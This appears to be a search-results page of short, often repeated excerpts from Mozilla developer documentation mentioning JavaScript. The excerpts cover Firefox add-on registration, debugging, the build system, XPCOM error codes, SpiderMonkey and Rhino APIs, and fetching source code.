Javascript control: Mozilla gives you the ability to fine tune what
Javascript is allowed to do while you browse. For example, you can disable functions that websites use to move or resize windows, or to remove your status bar, to disable right-click contextual menus, change the status bar text, etc. You can furthermore control
javascript capabilities to remove scrollbars, toolbars or system buttons like m...
...tes use to move or resize windows, or to remove your status bar, to disable right-click contextual menus, change the status bar text, etc. You can furthermore control
javascript capabilities to remove scrollbars, toolbars or system buttons like minimize, close and maximize by editing the about:config related properties or by editing accordingly the user.js file as explained in this "Disable Other
JavaScript Window Features" document. Moving back and forward by web page (Alt+Left and Alt+Right) occurs near-instantaneously The download manager provides keyboard access to all of your recent downloads Operating System "Look and Feel" Support: Mozilla's default skin will match the colors and sizes currently being used in your desktop. Mozilla can follow the system appearance whether it's high or low c...
...owser experience as you see fit. Extensions can easily be installed or removed with the extension manager in the Tools menu. Here are some examples of accessible extensions, although there are hundreds more to try (thank you to the GW Micro knowledge base for some of this information): Adblock Plus removes ads (and other objects, like banners) from web pages Greasemonkey lets you add bits of
Javascript ("user scripts") to any web page to change its behavior. In much the same way that user CSS lets you take control of a web page's style, user scripts let you easily control any aspect of a web page's design or interaction. We expect enterprising script writers will eventually fix annoying accessibility issues in popular web pages, and (hopefully) share their tricks with everyone! Fire Vox extens...
Chrome registration
uttons to the files that describe the text, content, and appearance of the window itself. There are three basic types of chrome providers: Content The main source file for a window description comes from the content provider, and it can be any file type viewable from within Mozilla. It will typically be a XUL file, since XUL is designed for describing the contents of windows and dialogs. The
JavaScript files that define the user interface are also contained within the content packages, as well as most XBL binding files. Locale Localizable applications keep all their localized information in locale providers. This allows translators to plug in a different chrome package to translate an application without altering the rest of the source code. The two main types of localizable files are DTD fil...
...faces component/mycomponent.xpt [flags] Instructs Mozilla to load interface information from a typelib file produced by XPIDL. Prior to Firefox 4, files in the components directory were registered automatically. component component {00000000-0000-0000-0000-000000000000} components/mycomponent.js [flags] Informs Mozilla about a component CID implemented by an XPCOM component implemented in
JavaScript (or another scripting language, if applicable). The ClassID {0000...} must match the ClassID implemented by the component. To generate a unique ClassID, use a UUID generator program or site. contract contract @foobar/mycontract;1 {00000000-0000-0000-0000-000000000000} [flags] Maps a contract ID (a readable string) to the ClassID for a specific implementation. Typically a contract ID will be...
...d-on depends upon XBL bindings attached to content objects (that is, it needs to be able to call functions or get and set properties created by the XBL binding), you'll need to use the object's wrappedJSObject property to obtain a wrapped object. If you need to call functions or access properties defined by the content -- for example, if your add-on wants to add a button to the page that calls a
JavaScript function defined by the page. The xpcnativewrappers flag applies only to content packages; it is not recognized for locale or skin registration. Example chrome manifest content necko jar:comm.jar!/content/necko/ locale necko en-US jar:en-US.jar!/locale/necko/ content xbl-marquee jar:comm.jar!/content/xbl-marquee/ content pipn...
Debugging on Windows
run two instances of Mozilla (e.g. debug and optimized) simultaneously by setting the environment variable MOZ_NO_REMOTE: set MOZ_NO_REMOTE=1 Or, starting with Firefox 2 and other Gecko 1.8.1-based applications, you can use the -no-remote command-line switch instead (implemented in bug 325509). You can also specify the profile to use with the -P profile_name command-line argument. ...
... (e.g. debug and optimized) simultaneously by setting the environment variable MOZ_NO_REMOTE: set MOZ_NO_REMOTE=1 Or, starting with Firefox 2 and other Gecko 1.8.1-based applications, you can use the -no-remote command-line switch instead (implemented in bug 325509). You can also specify the profile to use with the -P profile_name command-line argument. Debugging
JavaScript Use Venkman, the
JavaScript Debugger for Mozilla. ...
..., starting with Firefox 2 and other Gecko 1.8.1-based applications, you can use the -no-remote command-line switch instead (implemented in bug 325509). You can also specify the profile to use with the -P profile_name command-line argument. Debugging
JavaScript Use Venkman, the
JavaScript Debugger for Mozilla. You can use helper functions from nsXPConnect.cpp to inspect and modify the state of
JavaScript code from the MSVS debugger. For example, to print curent
JavaScript stack to stdout, evaluate this in QuickWatch window: {,,xul}DumpJSStack() Note: Visual C++ will show you something in the quick watch window, but not the stack, you have to look in the OS console for the output. Also this magical command only works when the VC++ stack is in certain states. It works when you have js_Interpr...
Adding APIs to the navigator object
Starting with Gecko 9.0 (Firefox 9.0 / Thunderbird 9.0 / SeaMonkey 2.6), you can easily add new APIs to the window.navigator object by using the Category Manager. Simply add an entry to the "
JavaScript-navigator-property" category. The object must be implemented as an XPCOM component. Each method below of adding new objects to the navigator object requires that the new object is a registered XPCOM component. You can read about creating and registering XPCOM components in
JavaScript. ...
...The newly added object is a reference to the component specified by the contract ID MY_CONTRACT_ID. ...
...CONTRACT_ID. You can learn more about Contract IDs are unique text identifiers for XPCOM components. Using a manifest to add an object to navigator You can also add an object to the window.navigator object by using the chrome manifest of an add-on: component {ffffffff-ffff-ffff-ffff-ffffffffffff} MyComponent.js contract @mozilla.org/mycomponent;1 {ffffffff-ffff-ffff-ffff-ffffffffffff} category
JavaScript-navigator-property myComponent @mozilla.org/mycomponent;1 Generate a GUID and replace the "ffff" sections in both the component and contract lines with your GUID. This adds a new API, myComponent, to the navigator object, which you can then access as navigator.myComponent. Real-world example You can see an example of how this is used in Firefox by taking a look at how the mozApps API is impl...
How Mozilla's build system works
y. make starts processing the makefile in the root directory and then recursively descends into child directories until it's done. But there's more to the process than that. The recursive make backend divides the source tree into tiers. A tier is a grouping of related directories containing makefiles of their own. For example, there is a tier for the Netscape Portable Runtime (nspr), one for the
JavaScript engine, one for the core Gecko platform, one for the XUL app being built, and so on. The main moz.build file defines the tiers and directories in the tiers. In reality, the main moz.build files include other moz.build files, such as /toolkit/toolkit.mozbuild, which define the tiers. They do this via the add_tier_dir() function. At build time, the tiers are traversed in the order they are define...
...lows the variable definition to be continued on the next line. The extra whitespace is compressed. The terminating $(NULL) is a method for consistency; it allows you to add and remove lines without worrying about whether the last line has an ending backslash or not. ...
...FIX) \ $(DIST)/lib/$(LIB_PREFIX)gkxulgrid_s.$(LIB_SUFFIX) \ $(NULL) include $(topsrcdir)/config/rules.mk SHARED_LIBRARY_LIBS is set to a list of static libraries, which should be linked into this shared library. Note the use of LIB_PREFIX and LIB_SUFFIX to make this work on all platforms. Building jar files jar files are used for packaging chrome files (XUL,
JavaScript, and CSS). For more information on jar packaging, see this document. Here, we will only cover how to set up a makefile to package jars. Below is an example: DEPTH = ../../../.. topsrcdir = @top_srcdir@ srcdir = @srcdir@ VPATH = @srcdir@ include $(DEPTH)/config/autoconf.mk include $(topsrcdir)/config/rules.mk As you can see, there are no extra variable...
Error codes returned by Mozilla APIs
These constants can be accessed through Components.results. For example, by using Components.results.NS_ERROR_NOT_INITIALIZED General Errors The following errors are general and can occur when using any component. ...
...ION_REFUSED (0x804B0048) NS_ERROR_ALREADY_OPENED (0x804B0049) Returned from nsIChannel.asyncOpen() when trying to open the channel again (reopening is not supported). NS_ERROR_FIRST_HEADER_FIELD_COMPONENT_EMPTY (0x804B0022) While parsing for the first component of a header field using syntax such as that for Content-Disposition or Content-Type, the first component was found to be empty.
JavaScript Errors These errors typically occur when interfacing between
JavaScript and native code, or to XPCOM components. NS_ERROR_XPC_NOT_ENOUGH_ARGS (0x80570001) NS_ERROR_XPC_NEED_OUT_OBJECT (0x80570002) NS_ERROR_XPC_CANT_SET_OUT_VAL (0x80570003) NS_ERROR_XPC_NATIVE_RETURNED_FAILURE (0x80570004) NS_ERROR_XPC_CANT_GET_INTERFACE_INFO (0x80570005) NS_ERROR_XPC_CANT_GET_PARAM_IFACE_I...
...(0x80570017) NS_ERROR_XPC_BAD_IID (0x80570018) NS_ERROR_XPC_CANT_CREATE_WN (0x80570019) NS_ERROR_XPC_JS_THREW_EXCEPTION (0x8057001A) NS_ERROR_XPC_JS_THREW_NATIVE_OBJECT (0x8057001B) NS_ERROR_XPC_JS_THREW_JS_OBJECT (0x8057001C) NS_ERROR_XPC_JS_THREW_NULL (0x8057001D) NS_ERROR_XPC_JS_THREW_STRING (0x8057001E) NS_ERROR_XPC_JS_THREW_NUMBER (0x8057001F) NS_ERROR_XPC_
JAVASCRIPT_ERROR (0x80570020) NS_ERROR_XPC_
JAVASCRIPT_ERROR_WITH_DETAILS (0x80570021) NS_ERROR_XPC_CANT_CONVERT_PRIMITIVE_TO_ARRAY (0x80570022) NS_ERROR_XPC_CANT_CONVERT_OBJECT_TO_ARRAY (0x80570023) NS_ERROR_XPC_NOT_ENOUGH_ELEMENTS_IN_ARRAY (0x80570024) NS_ERROR_XPC_CANT_GET_ARRAY_INFO (0x80570025) NS_ERROR_XPC_NOT_ENOUGH_CHARS_IN_STRING (0x80570026) NS_ERROR_XPC_SECURITY_MANAGER...
Using the Browser API
by a malicious web site. It is implied for WebExtensions, which always run in a separate content process from web content. Aside from the iframe, there are some basic controls: <button> elements, a simple <form> to implement the browser controls, and a search bar. The search bar also contains buttons, as well as a form to type search requests into. You can see the full HTML listing here. ...
...eb content. Aside from the iframe, there are some basic controls: <button> elements, a simple <form> to implement the browser controls, and a search bar. The search bar also contains buttons, as well as a form to type search requests into. You can see the full HTML listing here. ...
...the iframe, there are some basic controls: <button> elements, a simple <form> to implement the browser controls, and a search bar. The search bar also contains buttons, as well as a form to type search requests into. You can see the full HTML listing here. ...
Embedding the editor
ted The editor in a composer window is current owned by the nsEditorShell, which in turn is created, owned and destroyed by the nsEditorBoxObject. The box object is a layout structure that is owned by content nodes, and survives frame destruction/recreation. The box object also has a reference to the docShell for the editor frame. XBL creates an nsEditorBoxObject for each <editor> tag, and allows
JavaScript to access properties of this box object (such as the nsIEditorShell). The <editor> tag is simply a <iframe> on which an editor is created; in all other respects, it behaves like a XUL <iframe>. The problem with this ownership model is that there can be only one editor per <editor> tag, yet the document loaded in the <iframe> may itself contain multiple <iframe>s (consider a frameset document, or ...
...elf containing an <html:iframe>). Currently, composer does not deal gracefully with such documents. One editor per window limitation The current composer window XUL/C++ architecture has grown up with the assumption that there can be just one <editor> tag per window. At window construction time, we get the editorShell from the <editor> element, and put that into window.editorShell. Thence, lots of
JavaScript in editor.js, ComposerCommands.js and the various dialog JS files assume that they can get at the one true editor via window.editorShell. This assumption was short-sighted, and must be fixed. Editor assumes XUL document structure There is C++ and JS code in the editor that assumes that the editor is living in a XUL document, and that there are XUL document nodes out there whose attributes can be ...
...r; ensure that focus changes update state Move editor ownership to docShell, creating nsIEditorFrame Created the editing session API which copes with collections of editors (or make editor refocussable) Open Questions Where should file Open and Save logic live? It seems that some embedders will want composer Open and Save file logic, and some won't. Where should this logic live? Can it be in
JavaScript? Of course, an embedder should be able to use its own Open and Save dialogs, and communicate with composer to coordinate the open or save process. Possible Answer The embedder provides Open and Save dialogs if they want to. In Composer, we can pose these dialogs from JS (once some nsIFile problems have been solved). Does all Composer UI need to be replaceable? There is a huge amount of Composer U...
How to implement a custom autocomplete search component
an XPCOM component that implements the nsIAutoCompleteSearch interface. Make sure the contract ID of your XPCOM component follows the following form: "@mozilla.org/autocomplete/search;1?name=xxx", where "xxx" is the name of your autocomplete source. Implement the list of matched strings using the nsIAutoCompleteResult interface. The simplest way to make an XPCOM component is to build an XPCOM
JavaScript Component (this cannot be done with a
JavaScript module). How to Build an XPCOM Component in
Javascript will step you through the process. Because creating an XPCOM component in order to build a custom autocomplete source can be enough to discourage some developers, below is an example
JavaScript XPCOM component called "simple-autocomplete" that implements the necessary interfaces. Note: When c...
...mples. That can happen! So, get a UUID from http://www.famkruithof.net/uuid/uuidgen, for example, and paste it in. Basic example for Gecko 2.0 and up (Firefox 4 / Thunderbird 3.3 / SeaMonkey 2.1) This example is your first best try because: it has no specific logic (it just returns a dummy array of choices) it doesn't care about compatibility with older Gecko versions First copy the following
JavaScript code into a file named basic_autocomplete.js into the components directory (or whatever components folder is appropriate in your case): Warning: The UUID used below in chrome.manifest and assigned to CLASS_ID must be changed before use. const Ci = Components.interfaces; const Cu = Components.utils; Cu.import('resource://gre/modules/XPCOMUtils.jsm'); const CLASS_ID = Components.ID('x753d83...
... const Ci = Components.interfaces; const CLASS_ID = Components.ID("6224daa1-71x2-4d1a-ad90-01ca1c08e323"); // <- Change this const CLASS_NAME = "Simpl...
ISO8601DateUtils.jsm
Using the ISO 8601 date utilities To convert a date string into a Date object, simply use: dateObj = ISO8601DateUtils.parse(dateString); To convert a Date object into a date string: dateString = ISO8601DateUtils.create(dateObj); Method overview String create(aDate); Date parse(aDateString); Methods create Creates an ISO 8601 format date string, e.g. ...
...ports. Using the ISO 8601 date utilities To convert a date string into a Date object, simply use: dateObj = ISO8601DateUtils.parse(dateString); To convert a Date object into a date string: dateString = ISO8601DateUtils.create(dateObj); Method overview String create(aDate); Date parse(aDateString); Methods create Creates an ISO 8601 format date string, e.g. ...
...a Date object, simply use: dateObj = ISO8601DateUtils.parse(dateString); To convert a Date object into a date string: dateString = ISO8601DateUtils.create(dateObj); Method overview String create(aDate); Date parse(aDateString); Methods create Creates an ISO 8601 format date string, e.g. "2010-05-15T13:45:00Z", from a
JavaScript Date object. String create( aDate ); Parameters aDate A
JavaScript Date object to translate into an ISO 8601 format string. Return value An ISO 8601 format date string. parse Converts an ISO 8601 format date string into a
JavaScript Date object. Date parse( aDateString ); Parameters aDateString An ISO 8601 format date string. Return value A
JavaScript Date object corresponding to the specified date string. ...
Following the Android Toasts Tutorial from a JNI Perspective
h the following Java code, which invokes a toast and says "Hello, Firefox!". Context context = getApplicationContext(); CharSequence text = "Hello, Firefox!"; int duration = Toast.LENGTH_SHORT; Toast toast = Toast.makeText(context, text, duration); toast.show(); NativeWindow code As mentioned earlier, toasts are a very popular feature, so Mozilla developers chose to bring it to the privileged
JavaScript scope via the NativeWindow object. The Java code example above can be done with privileged
JavaScript from Firefox for Android with the following code: window.NativeWindow.toast.show("Hello, Firefox!", "short"); Converting Java to JNI.jsm The first step is to look at the Java code and see all the different types, methods, constructors, and fields that are being used. In the toast code we have...
...g used. In the toast code we have the following: Types - Context, CharSequence, int, Toast, and void Methods - makeText, show Fields - LENGTH_SHORT No constructors are used. Declare the types We will start by declaring the types needed. In JNI, there is the all-important property called sig. When something is declared, we are stating the sig and the name. ...
... text = 'Hello toast!'; // int duration = Toast.LENGTH_SHORT; var duration = Toast.LENGTH_SHORT; // Toast toast = Toast.makeText(context, text, duration); var toast = Toast.makeText(context, text, duration); // toast.show(); toast.show(); Notice that the CharSequence was not created with a constructor. This is special: Because a CharSequence is an array of byte characters, we can pass simple
JavaScript strings to JNI.jsm wherever a CharSequence is needed. This tells us we don't even need the sig for CharSequence in our SIG object, so let's remove it. Final JNI ported code Here's converted code. var my_jenv = null; try { my_jenv = JNI.GetForThread(); // We declare the classes, methods, etc we will be using: this part is not seen in the native example var SIG = { Context: ...
Sqlite.jsm
Sqlite.jsm offers some compelling advantages over the low-level Storage XPCOM interfaces: Automatic statement management. Sqlite.jsm will create, manage, and destroy statement instances for you. You don't need to worry about caching created statement instances, destroying them when you are done, etc. This translates to fewer lines of code to talk to SQLite. All operations are asynchronous. Use of synchronous Storage APIs is discouraged because they block the main thread. All the functionality in Sqlite.jsm is asynchronous. Easier memory management. ...
...ment. Since Sqlite.jsm manages statements for you, it can perform intelligent actions like purging all cached statements not in use, freeing memory in the process. There is even a shrinkMemory API that will minimize memory usage of the connection automatically. Simpler transactions. ...
...mory API that will minimize memory usage of the connection automatically. Simpler transactions. Sqlite.jsm exposes a transaction API built on top of Task.jsm that allows transactions to be written as procedural
JavaScript functions (as opposed to a series of callback driven operations). If the function throws, the transaction is automatically rolled back. This makes code easy to write and read.
JavaScript-y API. Sqlite.jsm feels like a pure
JavaScript module. The complexities of XPCOM are mostly hidden from view.
JavaScript programmers should feel right at home using Sqlite.jsm. Note: The Sqlite.jsm
JavaScript code module can only be used from chrome -- that is, from within the application itself or an add-on. Before you can use this module, you need to import it into your scope: Components.ut...
source-editor.jsm
You must not directly import that code module; it is essentially an implementation detail. ...
...You must not directly import that code module; it is essentially an implementation detail. ...
... These constants are used to set the syntax highlighting mode for the editor by calling its setMode() method, or in the configuration object when first initializing the editor using its init() method. Constant Value Description SourceEditor.MODES.CSS "css" Cascading Style Sheet. SourceEditor.MODES.HTML "html" HTML document. SourceEditor.MODES.
JAVASCRIPT "js"
JavaScript source code. SourceEditor.MODES.TEXT "text" UTF-8 text document. SourceEditor.MODES.XML "xml" XML document. Theme constants These constants are used to identify the available themes that can be used by the syntax highlighter. Only one is provided by default at this time. Constant Value Description SourceEditor.TH...
Mozilla projects on GitHub
ts not listed below. Projects This listing covers the larger-scale and more important Mozilla projects on GitHub. It does not include everything since it's hard to keep track of all the smaller projects. Look to GitHub for the most complete list of Mozilla projects on GitHub. Project name Description PDF.js A Portable Document Format (PDF) reader written entirely in
JavaScript. Shumway Shumway is a Flash VM and runtime written in
JavaScript. addon-sdk The Mozilla Add-on SDK. asknot The What Can I Do For Mozilla web site, which helps you figure out how you can contribute to Mozilla. bugsahoy A Web page to help new Mozilla contributors identify bugs to fix. bugzilla-dashboard A convenient dashboard to help you g...
...r bugs. codefirefox The CodeFirefox site, with videos and tutorials about how to contribute to the Firefox project and Mozilla code in general. debugger.html The debugger.html, a modern universal JS debugger for Firefox DevTools, Node, and every other JS environment. dxr An intelligent tool for browsing source code. emscripten The Emscripten LLVM-to-
JavaScript compiler. fxdt-adapters The Firefox Developer Tools Adapter that lets you debug various remote targets from the Firefox Developer Tools. firefox-dev.tools A Web page to help new Mozilla contributors find bugs to work on that relate to the Firefox Developer Tools. gecko-dev A read-only mirror of the Mercurial repositories used for Mozilla private code. ...
...ools used by the localization drivers. mozilla-metrics Tools used to collect metrics about Mozilla code. mozilla-services Mozilla cloud services projects. opennews The Knight-Mozilla Open News project, helping the journalism/technology community do great work through shared knowledge and code. PluotSorbet A J2ME-compatible virtual machine written in
JavaScript. rust-lang The Rust programming language, designed for safe concurrent code. servo The next-generation rendering engine. ...
NSS tools : signtool
files from the JAR archive in the local system after SmartUpdate has validated the digital signature. For more details, see the description of -m that follows. The -i option provides a straightforward way to provide this information if you don't need to specify any metadata other than an installer script. -j directory Specifies a special
JavaScript directory. This option causes the specified directory to be signed and tags its entries as inline
JavaScript. This special type of entry does not have to appear in the JAR file itself. Instead, it is located in the HTML page containing the inline scripts. When you use signtool -v, these entries are displayed with the string NOT PRESENT. -...
...including issuing CAs. If any of your certificates are expired or invalid, the list will so specify. This option can be used with the -k option to list detailed information about a particular signing certificate. The -l option is available in Netscape Signing Tool 1.0 and later versions only. -J Signs a directory of HTML files containing
JavaScript and creates as many archive files as are specified in the HTML tags. Even if signtool creates more than one archive file, you need to supply the key database password only once. The -J option is available only in Netscape Signing Tool 1.0 and later versions. The -J option cannot be used at the same time as the -Z option. If the -c#...
...es are generally case sensitive. Since the = sign and newline delimit the value, it should not be quoted. Subsection basename Same as -b option. compression Same as -c option. certdir Same as -d option. extension Same as -e option. generate Same as -G option. installscript Same as -i option.
javascriptdir Same as -j option. htmldir Same as -J option. certname Nickname of certificate, as with -k and -l -k options. signdir The directory to be signed, as with -k option. list Same as -l option. Value is ignored, but = sign must be present. listall Same as -L option. Value is ignored, but = sign must be prese...
Rhino documentation
Information on Rhino for script writers and embedders. General Overview An overview of the
JavaScript language and of Rhino. License Rhino license information. Requirements and limitations What you must have to run Rhino; what Rhino cannot do. Downloads archive Includes release notes for Rhino releases Optimization Details on the various optimization levels. FAQ Answers to frequently asked questions about Rhino. Rhino history History of the beast. Writing Scripts Scripting Java How to use Rhino to script Java classes. Performance Hints Some tips on writing faster
JavaScript code.
JavaScript Tools Rhino Shell Interactive or batch execution of scripts. ...
...otes for Rhino releases Optimization Details on the various optimization levels. FAQ Answers to frequently asked questions about Rhino. Rhino history History of the beast. Writing Scripts Scripting Java How to use Rhino to script Java classes. Performance Hints Some tips on writing faster
JavaScript code.
JavaScript Tools Rhino Shell Interactive or batch execution of scripts.
JavaScript Debugger Debugging scripts running in Rhino.
JavaScript Compiler Compiling scripts into Java class files. Running the Rhino tests Running the
JavaScript test suite with Rhino. Embedding Rhino Embedding tutorial A short tutorial on how to embed Rhino into your application. API Javadoc Reference (Link broken? Try this at Jarvana.) An annotated outline of the programming interface to R...
... Embedding tutorial A short tutorial on how to embed Rhino into your application. API Javadoc Reference (Link broken? Try this at Jarvana.) An annotated outline of the programming interface to Rhino (tip only). Scopes and Contexts Describes how to use scopes and contexts for the best performance and flexibility, with an eye toward multithreaded environments. Serialization How to serialize
JavaScript objects and functions in Rhino. Runtime A brief description of the
JavaScript runtime. Small Footprint Hints for those interested in small-footprint embeddings. Examples A set of examples showing how to control the
JavaScript engine and build
JavaScript host objects. Using Rhino with Bean Scripting Framework (BSF) How to use Rhino with apps that support BSF (Bean Scripting Framework) from...
Small Footprint
f Rhino for embeddings where space is at a premium. On a recent build, the length of js.jar was 603,127 bytes corresponding to 1,171,708 bytes of all uncompressed Rhino classes with debug information included. With various changes js.jar size can be reduced to 204,689 bytes corresponding to 424,774 bytes of uncompressed classes. ...
...arious changes js.jar size can be reduced to 204,689 bytes corresponding to 424,774 bytes of uncompressed classes. Tools Most embeddings won't need any of the classes in org.mozilla.
javascript.tools or any of its sub-packages. Optimizer It is possible to run Rhino with interpreter mode only, allowing you to remove code for classfile generation that include all the classes from <tt>org.mozilla.
javascript.optimizer</tt> package. JavaAdapter Implementing the JavaAdapter functionality requires the ability to generate classes on the fly. Removing org.mozilla.
javascript.JavaAdapter will disable this functionality, but Rhino will otherwise run correctly. Class generation library If you do not include Optimizer or JavaAdapter, nor do you use PolicySecurityController then you do not need Rhino librar...
...Rhino will continue to run, although it will not be able to execute any regular expression matches. This change saves 47,984 bytes of class files. Debug information Debug information in Rhino classes consumes about 25% of code size and if you can live without that, you can recompile Rhino to remove it. ...
Getting SpiderMonkey source code
ub.com/mozilla/gecko-dev.git cd gecko-dev/js/src If you want a faster (about 5 times as of January 2015) download, try doing a shallow clone (no version control history). git clone --depth 1 https://github.com/mozilla/gecko-dev.git If you have any problems check the https://wiki.mozilla.org/Github page. Getting older SpiderMonkey sources from CVS Note: You will need to explicitly fetch the
JavaScript shell sources even if you currently build another Mozilla project, as there are files specific to the shell that are not normally found in a Mozilla source tree. Just like when you're fetching any other Mozilla project from CVS, you need to log into the CVS server first. To do this, cd into the base directory you'd like to check out the code into, then enter the following command at your command...
...rver:anonymous@cvs-mirror.mozilla.org:/cvsroot login When prompted, enter the password anonymous. Once you've logged in, cd into the root of your CVS tree and enter the following command: cvs -d :pserver:anonymous@cvs-mirror.mozilla.org:/cvsroot co -l mozilla/js/src mozilla/js/src/config mozilla/js/src/editline mozilla/js/src/fdlibm This checks out all the files needed in order to build the
JavaScript shell. If you also want the regression tests, add this command: cvs -d :pserver:anonymous@cvs-mirror.mozilla.org:/cvsroot co mozilla/js/tests Getting older branch versions of SpiderMonkey If you want to experiment with a specific branch's version of SpiderMonkey, you need to check out js/src from branch but check out editline and config from trunk: cvs -d :pserver:anonymous@cvs-mirror.mozil...
...JS_1_7_ALPHA_BRANCH) or a Mozilla branch name (e.g. MOZILLA_1_8_BRANCH). ...
Statistics API
data: The environment variable MOZ_GCTIMER controls text dumping of GC stats. MOZ_GCTIMER may be none, stderr, stdout, or a filename. If a filename is given, data is appended to that file. When logging to a file is used in combination with multi-process firefox (e10s) it is necessary to set security.sandbox.content.level = 0, otherwise the content process will crash. The browser preference
javascript.options.mem.log controls dumping of human-readable GC stats messages to the developer console. The browser preference
javascript.options.mem.notify controls emission of JSON encoded GC stats to an observer interface. JSON API Addons can obtain the complete data in JSON format via an observer. The following adds an observer using the JetPack framework. var prefs = require("api-utils/preferenc...
... to an observer interface. JSON API Addons can obtain the complete data in JSON format via an observer. The following adds an observer using the JetPack framework. var prefs = require("api-utils/preferences-service"); Components.utils.import('resource://gre/modules/Services.jsm'); function observer(subject, topic, json) { var data = JSON.parse(json); // process the data } prefs.set("
javascript.options.mem.notify", true); Services.obs.addObserver(observer, "garbage-collection-statistics", false); The toplevel JSON object contains these fields: timestamp: integer (microseconds) - Time at which the GC ended, measured from epoch. total_time: number (milliseconds) - The amount of wall time that this GC consumed. Note: this is the sum of all the slice durations, not end time - start ti...
... - The number of compartments that were present in the system at the end of the GC. max_pause: number (milliseconds) - Longest duration pause during the GC. nonincremental_reason: string - A string representing the reason that an incremental GC was aborted or forced to finish in a single slice. If the incremental GC completed normally, this will be "none". allocated: integer (MB) - Size of the
JavaScript heap in MiB at the start of the GC. slices: array of Objects - A list of objects describing each slice in detail. times: Object - A map from phase names to the total time taken by each phase: the sum of each field of the map from the slices. The last two fields require a bit of elaboration. GC work can be divided into phases, such as marking or sweeping. The division into phases is hierarchic...
JS::CompileOptions
ingCompileOptions(JSContext *cx); // Added in SpiderMonkey 31 JS::CompileOptions(JSContext *cx, JSVersion version = JSVERSION_UNKNOWN); Name Type Description cx JSContext * Pointer to a JS context from which to derive runtime information. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. version JSVersion
JavaScript version used to compile the script. Methods Some methods of JS::OwningCompileOptions and JS::CompileOptions return the instance itself to allow method chain. Methods of JS::ReadOnlyCompileOptions Method Description bool mutedErrors() const Determines if errors are muted. The Web Platform allows scripts to be loaded from arbitrary cross-origin sources. T...
...or. In addition to above, the following are used in browser: "Worker" - code loaded by calling the Web worker constructor--the worker's main script. "importScript" - code by calling importScripts in a web worker. "eventHandler" - code assigned to DOM elements' event handler IDL attributes as a string. "scriptElement" - code belonging to <script> elements. "
javascriptURL" - code presented in
javascript: URLs. "setTimeout" - code passed to setTimeout as a string. "setInterval" - code passed to setInterval as a string. The following are used in js shell: "js shell file" "js shell interactive" "js shell load" "js shell evaluate" "js shell run" "js shell disFile" "js shell compFile" "js shell parse"...
...s all dynamically allocated resources (principals; elements; strings) that it refers to. Its destructor frees / drops / unroots them. This is heavier than CompileOptions, below, but unlike CompileOptions, it can outlive any given stack frame. Note that this *roots* any JS values it refers to - they're live unconditionally. Thus, instances of this type can't be owned, directly or indirectly, by a
JavaScript object: if any value that this roots ever comes to refer to the object that owns this, then the whole cycle, and anything else it entrains, will never be freed. CompileOptions CompileOptions is the compilation options stored on the stack. An instance of this type simply holds references to dynamically allocated resources (element; filename; source map URL) that are owned by something else. If y...
JS::GetSelfHostedFunction
id JS::Handle<jsid> A pointer to jsid of the name to assign to the new function. ...
... id JS::Handle<jsid> A pointer to jsid of the name to assign to the new function. ...
...edFunction(JSContext* cx, const char* selfHostedName, JS::Handle<jsid> id, unsigned nargs); Name Type Description cx JSContext* The context from which to get the function. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. selfHostedName const char* Function name in the self-hosted
JavaScript. id JS::Handle<jsid> A pointer to jsid of the name to assign to the new function. nargs unsigned Number of arguments the function expects. Description JS::GetSelfHostedFunction creates a new
JavaScript function implemented in self-hosted
JavaScript. On success, JS::GetSelfHostedFunction returns a pointer to the newly created function. Otherwise, it rep...
JSExtendedClass.wrappedObject
Obsolete since
JavaScript 1.8.5This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. This article covers features introduced in SpiderMonkey 1.8 Callback for objects that wrap other objects. Syntax typedef JSObject * (*JSObjectOp)(JSContext *cx, JSObject *obj); Name Type Description cx JSContext * The context in which the object is being unwrapped. obj JSObject * The object to unwrap. Description If a class has the JSCLASS_IS_EXTENDED bit set in its JSClass.flags and has a non-null JSExtendedClass.wrappedObject, then objects of that class may be wrappers. ...
...text *cx, JSObject *obj); Name Type Description cx JSContext * The context in which the object is being unwrapped. obj JSObject * The object to unwrap. Description If a class has the JSCLASS_IS_EXTENDED bit set in its JSClass.flags and has a non-null JSExtendedClass.wrappedObject, then objects of that class may be wrappers. In a few cases the
JavaScript engine will pretend the wrapper isn't there, instead operating on the object it wraps. In these cases the engine calls the JSExtendedClass.wrappedObject callback to get the wrapped object. Most classes do not implement wrappedObject. The specific cases where this happens are: The default toString method returns a string that contains the name of the wrapped object's class rather than the wrap...
...rappedObject. The specific cases where this happens are: The default toString method returns a string that contains the name of the wrapped object's class rather than the wrapper's class. In typeof expressions and in JS_TypeOfValue, the type of the wrapped object is returned. (The result may be "object", "function", or "xml".) When assigning to __proto__ or __parent__ from script, the
JavaScript engine checks to see if the assignment would produce a cycle. If so, it fails with an exception. When walking the chain to do this check, wrappers are automatically unwrapped. A wrapper object is strictly equal to the object it wraps, in the sense of === and !==. Two wrapper objects that wrap the same object are also strictly equal. Object.prototype.eval unwraps. A wrapper object that...
JSNative
JSNative is the type of many JSAPI callbacks. In particular, APIs such as JS_InitClass and JS_DefineFunctions create custom methods on
JavaScript objects that are implemented as JSNative callbacks provided by the application, written in C/C++ code. The term "native" here refers to C/C++ code as opposed to
JavaScript code. Syntax typedef bool (* JSNative)(JSContext *cx, unsigned argc, JS::Value *vp); Name Type Description cx JSContext * The context in which the native function is being called. Provides request. In JS_THREADSAFE builds, the
JavaScript engine calls this callback only from within an active request on cx. The callback does not need to call JS_BeginRequest()). argc unsigned The number of arguments supplied to the function by the caller...
...nts supplied to the function by the caller (as opposed to, say, the number of arguments the function is specified to take in its JSFunctionSpec). vp JS::Value * The arguments, the this argument, the return-value slot, and the callee Function object are accessible through this pointer using macros described below. Description JSNative is the type of native implementations of
JavaScript functions. Full documentation of how to define a JSNative (or a JSFastNative, the equivalent typedef which preceded it) is available in the API header "js/CallArgs.h" Added in SpiderMonkey 24. This header is new, but the semantics it describes are applicable to all recent SpiderMonkey releases. The preferred way to implement a function is to use the JS::CallArgs structure defined there; the ma...
...ion (using JS_SetPendingException), and the callback must return false. (Returning false without reporting an error or raising an exception terminates the script with an uncatchable error. This has limited use cases; it's used to implement Firefox's "slow script" dialog, for example.) When a JSNative is called, no JSStackFrame is generated. This causes the function not to appear on the stack in
